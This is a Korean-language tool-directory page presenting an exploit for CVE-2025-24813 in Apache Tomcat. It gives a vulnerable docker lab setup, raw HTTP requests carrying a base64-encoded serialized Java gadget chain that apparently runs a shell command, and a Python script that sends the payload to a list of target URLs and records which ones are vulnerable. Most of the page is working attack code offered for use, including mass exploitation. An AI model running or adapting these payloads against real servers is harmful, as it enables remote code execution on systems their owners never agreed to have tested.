Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24813 — CVE-2025-24813 악용 도구 | Kitploit
도구/GitHubGitHub/charis3306/cve-2025-24813
Dynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubcharis3306/cve-2025-24813

CVE-2025-24813

CVE-2025-24813 악용 도구

저장소 보기
161년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이용 조건

  • DefaultServlet 쓰기 기능 활성화: web.xml에서 readonly=false 구성 필요
  • Partial PUT 요청 지원: Tomcat은 기본적으로 분할 업로드 지원
  • 파일 세션 지속성 활성화: context.xml에서 PersistentManager 및 FileStore 구성 필요
  • 역직렬화 이용 체인 존재: 클래스 경로에 취약한 라이브러리 포함 필요

영향 범위

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

이용 난이도

  • 복잡
  • 까다로움

환경 구축

보안 취약점이 있는 버전 다운로드

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/

수동 구성

  1. conf/web.xml에서 DefaultServlet의 readonly를 false로 설정하여 쓰기 기능 활성화
root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

  1. conf/context.xml에서 File 파일 세션 저장 활성화
root@kitploit:~
<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>
root@kitploit:~
version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813  # 컨테이너 이름 지정
    volumes:
      # web.xml 마운트 및 교체
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # context.xml 마운트 및 교체
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      # JAR 파일을 lib 디렉터리에 추가
      # 
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"

환경 시작

root@kitploit:~
docker-compose up -d

이용 체인

cck1

cc10

root@kitploit:~
PUT /pocss/session HTTP/1.1
Host: 192.168.223.132:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(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)}}

root@kitploit:~
GET / HTTP/1.1
Host: 192.168.223.132:8080
Cookie: JSESSIONID=.pocss

대량 익스플로잇 EXP

root@kitploit:~
import base64
import requests
import sys
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def main():
    # 파일 경로 파라미터 가져오기
    url_file = sys.argv[1] if len(sys.argv) > 1 else 'url.txt'
    payload_file = sys.argv[2] if len(sys.argv) > 2 else 'payload.ser'

    # 대상 URL 목록 읽기
    try:
        with open(url_file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
            
        # URL 형식 검증
        valid_urls = []
        for url in urls:
            if not url.startswith(('http://', 'https://')):
                print(f"경고: {url} 은(는) 유효한 URL이 아닙니다 (프로토콜 누락), 건너뜁니다")
                continue
            if not url.split('//')[1]:
                print(f"경고: {url} 은(는) 유효한 URL이 아닙니다 (호스트명 누락), 건너뜁니다")
                continue
            valid_urls.append(url)
            
        if not valid_urls:
            print("테스트할 유효한 URL이 없습니다")
            return
            
    except FileNotFoundError:
        print(f"[+] {url_file} 파일을 찾을 수 없습니다")
        return

    # payload.ser 읽기 및 디코딩
    try:
        with open(payload_file, 'rb') as f:
            datas = f.read()
        payload = base64.b64decode(datas)  # base64 디코딩만 수행, UTF-8 디코딩은 하지 않음
            
    except FileNotFoundError:
        print("payload.ser 파일을 찾을 수 없습니다")
        return

    # PUT 요청 구성
    headers = {
        'Content-Length': '1000',
        'Content-Range': 'bytes 0-1000/1200'
    }
    headers2 = {
        'Cookie': 'JSESSIONID=.pocs'
    }
    
    # 프록시 구성
    proxies = {
        'http': 'http://127.0.0.1:8083',
        'https': 'http://127.0.0.1:8083'
    }
    
    # HTTPS 인증서 오류 무시
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    verify_ssl = False
    
    # 통계 정보
    total = len(valid_urls)
    vulnerable = 0
    
    vulnerable_urls = []
    
    for i, url in enumerate(valid_urls):
        try:
            # PUT 요청 전송
            response = requests.put(f"{url}/pocs/session", headers=headers, data=payload, timeout=3, proxies=proxies, verify=verify_ssl)
            
            if response.status_code != 409:
                continue
                
            # GET 요청 전송
            response = requests.get(url, headers=headers2, proxies=proxies, verify=verify_ssl)
            if response.status_code == 500:
                vulnerable_urls.append(url)
                vulnerable += 1
                
        except requests.exceptions.RequestException:
            continue
    
    print("\n" + "="*50)
    print(f"[+] 스캔 완료!")
    print(f"[+] 총 대상: \033[1;33m{total}\033[0m")
    print(f"[+] 취약한 대상: \033[1;31m{vulnerable}\033[0m")
    print(f"[+] 안전한 대상: \033[1;32m{total - vulnerable}\033[0m")
    
    if vulnerable > 0:
        print("\n[+] 취약한 URL 목록:")
        for vuln_url in vulnerable_urls:
            print(f"  - {vuln_url}")
        
        # 취약한 URL을 파일로 저장
        with open('vulnerable_urls.txt', 'w') as f:
            for vuln_url in vulnerable_urls:
                f.write(vuln_url + '\n')
        print(f"[+] 취약한 URL이 vulnerable_urls.txt 에 저장되었습니다")
    
    print("="*50)


if __name__ == "__main__":
    main()

스크립트 사용

root@kitploit:~
python CVE_2025_24813.py

도구 다운로드